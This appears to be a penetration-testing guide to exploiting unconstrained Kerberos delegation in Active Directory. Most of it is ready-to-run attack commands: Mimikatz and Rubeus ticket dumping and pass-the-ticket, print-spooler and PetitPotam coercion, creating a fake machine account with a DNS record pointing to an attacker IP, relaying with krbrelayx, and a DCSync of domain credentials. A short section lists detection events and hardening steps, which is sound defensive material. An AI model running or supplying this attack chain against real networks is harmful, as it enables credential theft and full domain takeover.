Unconstrained Delegation Assessment

A comprehensive guide for detecting and exploiting unconstrained delegation vulnerabilities in Active Directory environments.

What is Unconstrained Delegation?

Unconstrained delegation is a feature that allows a Domain Administrator to configure any computer in the domain to receive and cache TGTs (Ticket Granting Tickets) from users who authenticate to it. When a user logs into a computer with unconstrained delegation enabled:

1. A copy of the user's TGT is sent inside the TGS provided by the Domain Controller
2. The TGT is saved in memory in LSASS
3. If you have Administrator privileges on that machine, you can dump the tickets and impersonate users anywhere in the domain

Critical Impact: If a Domain Admin logs into a computer with unconstrained delegation enabled, and you have local admin privileges on that machine, you can dump the ticket and impersonate the Domain Admin anywhere (full domain compromise).

Detection: Finding Unconstrained Delegation Computers

Method 1: Using PowerView (PowerShell)

# List all computers with unconstrained delegation enabled
Get-DomainComputer –Unconstrained –Properties name

# Alternative LDAP filter approach
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'

Method 2: Using ADSearch

ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  --attributes samaccountname,dnsHostName,operatingSystem

Method 3: Using the helper script

python3 scripts/find_unconstrained_computers.py --domain <DOMAIN> --dc-ip <DC_IP> <USER>:<PASS>

Note: Domain Controllers always appear in unconstrained delegation results and might be useful for cross-domain attacks.

Exploitation: Ticket Harvesting

Step 1: Export Tickets from LSASS

# Using Mimikatz (recommended)
privilege::debug
sekurlsa::tickets /export

# Alternative method
kerberos::list /export

# Using Rubeus (doesn't access LSASS directly, uses Windows APIs)
Rubeus.exe dump

# Monitor for new tickets in real-time
Rubeus.exe monitor /interval:10 [/filteruser:<username>]

Step 2: Load and Use Tickets

# Mimikatz - Pass the Ticket
kerberos::ptt <ticket.kirbi>

# Rubeus - Pass the Ticket
Rubeus.exe ptt /ticket:<base64_ticket>

# After loading, you can access resources as the impersonated user

Advanced: Force Authentication Attack

If you compromise a computer with unconstrained delegation, you can trick other systems to authenticate to it, harvesting their TGTs.

Using SpoolSample (Print Server Coercion)

# Force a print server to authenticate to your unconstrained delegation machine
.\SpoolSample.exe <printmachine> <unconstrainedmachine>

Other Coercion Vectors

• PrinterBug/MS-RPRN: Print Spooler RPC vulnerability
• PetitPotam/EFSRPC: EFS RPC vulnerability
• DFSCoerce: DFS-R replication vulnerability
• MSEven: Event Log RPC vulnerability

Advanced: Attacker-Created Computer Attack

Modern domains often have

MachineAccountQuota > 0

(default 10), allowing authenticated users to create computer objects. Combined with

SeEnableDelegationPrivilege

, this enables a powerful attack chain.

Complete Attack Flow

1. Create a Computer You Control

# Using Impacket (any authenticated user if MachineAccountQuota > 0)
python3 addcomputer.py -computer-name <FAKEHOST> \
  -computer-pass '<Strong.Passw0rd>' \
  -dc-ip <DC_IP> \
  <DOMAIN>/<USER>:'<PASS>'

2. Make the Fake Hostname Resolvable

# Add DNS A record pointing to your listener
python3 dnstool.py -u '<DOMAIN>\\<FAKEHOST>$' -p '<Strong.Passw0rd>' \
  --action add \
  --record <FAKEHOST>.<DOMAIN_FQDN> \
  --type A \
  --data <ATTACKER_IP> \
  -dns-ip <DC_IP> \
  <DC_FQDN>

3. Enable Unconstrained Delegation

# Requires SeEnableDelegationPrivilege (domain admins or delegated admins)
# Using BloodyAD
bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' \
  --host <DC_FQDN> \
  add uac '<FAKEHOST>$' -f TRUSTED_FOR_DELEGATION

4. Prepare for Ticket Export

# Compute NT hash of machine account password
python3 scripts/compute_nt_hash.py '<Strong.Passw0rd>'

# Launch krbrelayx to export inbound TGTs
python3 krbrelayx.py -hashes :<NT_HASH>

5. Coerce Authentication

# Using netexec coerce_plus module
netexec smb <DC_FQDN> -u '<FAKEHOST>$' -p '<Strong.Passw0rd>' \
  -M coerce_plus \
  -o LISTENER=<FAKEHOST>.<DOMAIN_FQDN> \
  METHOD=PrinterBug

# Other methods: PetitPotam, DFSCoerce, MSEven

6. Perform DCSync with Captured DC TGT

# Generate krb5.conf
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf

# Use captured ccache for DCSync
KRB5CCNAME=<captured_ccache_file> \
  netexec smb <DC_FQDN> --use-kcache --ntds

# Alternative with Impacket
KRB5CCNAME=<captured_ccache_file> \
  secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>

Requirements Checklist

• MachineAccountQuota > 0

  (or explicit computer creation rights)

• SeEnableDelegationPrivilege

  to set TRUSTED_FOR_DELEGATION
• DNS A record for fake host pointing to attacker IP
• Viable coercion vector available (PrinterBug, PetitPotam, etc.)

Detection and Hardening

Detection Indicators

Event ID	Description
4741	Computer account created
4742/4738	Computer/user account changed (watch for TRUSTED_FOR_DELEGATION)
4768/4769	Kerberos TGT/TGS requests from unexpected hosts
DNS	Unusual A-record additions in domain zone

Hardening Recommendations

1. Limit privileged logins: Restrict DA/Admin logins to specific service accounts
2. Set sensitive flag: Configure "Account is sensitive and cannot be delegated" for privileged accounts
3. Restrict delegation privilege: Limit

   SeEnableDelegationPrivilege

   to minimal set
4. Disable computer creation: Set

   MachineAccountQuota=0

   where feasible
5. Disable Print Spooler on DCs: Removes PrinterBug attack vector
6. Enforce security features: LDAP signing and channel binding
7. Monitor delegation changes: Alert on UAC TRUSTED_FOR_DELEGATION modifications

Quick Reference

LDAP Filter for Unconstrained Delegation

(userAccountControl:1.2.840.113556.1.4.803:=524288)

Key Tools

• PowerView:

  Get-DomainComputer –Unconstrained

• Mimikatz:

  sekurlsa::tickets /export

• Rubeus:

  dump

  ,

  monitor

  ,

  ptt

• Impacket:

  addcomputer.py

  ,

  secretsdump.py

• BloodyAD: UAC manipulation
• netexec: Coercion and DCSync
• krbrelayx: TGT export and relay

Attack Decision Tree

1. Can you find unconstrained delegation computers?

   • Yes → Check for privileged user logins → Dump tickets
   • No → Check MachineAccountQuota → Create attacker computer

2. Do you have SeEnableDelegationPrivilege?

   • Yes → Enable delegation on attacker computer → Coerce authentication
   • No → Look for existing unconstrained delegation targets

3. Can you coerce a DC to authenticate?

   • Yes → Capture DC TGT → DCSync → Full domain compromise
   • No → Target other privileged systems

References

• harmj0y – S4U2Pwnage
• ired.team – Domain compromise via unrestricted delegation
• krbrelayx
• Impacket
• BloodyAD
• netexec
• SpoolSample